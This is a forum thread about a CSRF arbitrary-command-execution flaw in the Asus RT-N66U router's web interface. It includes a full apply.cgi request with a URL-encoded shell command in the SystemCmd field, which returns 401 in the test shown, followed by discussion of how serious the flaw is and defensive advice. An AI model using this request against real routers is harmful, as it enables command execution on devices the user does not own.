CSRF Asus RT-N66U Arbitrary Command Execution

[WaVeR]

Description:
The Asus RT-N66U is a home wireless router. Its web application has a CSRF vulnerability that allows an attacker to execute arbitrary commands on the target device.

Exploitable URL:
The parameter "SystemCmd" in the URL below causes the device to execute arbitrary commands. (The value encoded in the example is `nvram show`)

http://192.168.1.1/apply.cgi?curren...mdMethod=ping&destIP=www.google.com&pingCNT=5

The URL should be submitted as a `GET` request.

Source:
https://www.qxcg.net/arbitrary-command-execution-on-an-asus-rtn66u.html

 

[marnold]

How serious is this vulnerability in reality if you need to have login credentials to actually execute it? Seems to me that if someone has that, you're already hosed no matter what firmware you're running.

 

[saintdev]

How serious is this vulnerability in reality if you need to have login credentials to actually execute it? Seems to me that if someone has that, you're already hosed no matter what firmware you're running.

Had to double check that this was the case.

$ wget -O - 'http://192.168.1.1/apply.cgi?current_page=Main_Analysis_Content.asp&next_page=cmdRet_check.htm&next_host=192.168.1.1&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&preferred_lang=EN&SystemCmd=%6e%76%72%61%6d%20%73%68%6f%77&firmver=3.0.0.4&cmdMethod=ping&destIP=www.google.com&pingCNT=5'
--2013-10-01 12:34:57--  http:/192.168.1.1/apply.cgi?current_page=Main_Analysis_Content.asp&next_page=cmdRet_check.htm&next_host=192.168.1.1&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&preferred_lang=EN&SystemCmd=%6e%76%72%61%6d%20%73%68%6f%77&firmver=3.0.0.4&cmdMethod=ping&destIP=www.google.com&pingCNT=5
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 401 Unauthorized
Authorization failed.

I don't see any issue here. Sure you can execute arbitrary commands if you are logged in, but you could just as easily login via telnet and do the same so much easier.

 

[RMerlin]

Had to double check that this was the case.

$ wget -O - 'http://192.168.1.1/apply.cgi?current_page=Main_Analysis_Content.asp&next_page=cmdRet_check.htm&next_host=192.168.1.1&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&preferred_lang=EN&SystemCmd=%6e%76%72%61%6d%20%73%68%6f%77&firmver=3.0.0.4&cmdMethod=ping&destIP=www.google.com&pingCNT=5'
--2013-10-01 12:34:57--  http:/192.168.1.1/apply.cgi?current_page=Main_Analysis_Content.asp&next_page=cmdRet_check.htm&next_host=192.168.1.1&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&preferred_lang=EN&SystemCmd=%6e%76%72%61%6d%20%73%68%6f%77&firmver=3.0.0.4&cmdMethod=ping&destIP=www.google.com&pingCNT=5
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 401 Unauthorized
Authorization failed.

I don't see any issue here. Sure you can execute arbitrary commands if you are logged in, but you could just as easily login via telnet and do the same so much easier.

The one scenario I could see where that would be a problem:

1) The user accessed his router webui, and never closed down his browser after doing so
2) He visits a specially crafted page somewhere on the web, which injects that URL into the page

In such a scenario, the cached credentials would be automatically used by the browser.

To be honest, this is starting to be a bit of a corner case. Not so easy to resolve, as a lot of how the webui works would need to be rethought to make it more secure.

The best security advices for now:

1) Do not open your webui on the WAN. Use a VPN if you really need remote access.
2) Always close down your browser once done accessing your router (I do the same thing whenever doing online banking personally - it's good practice).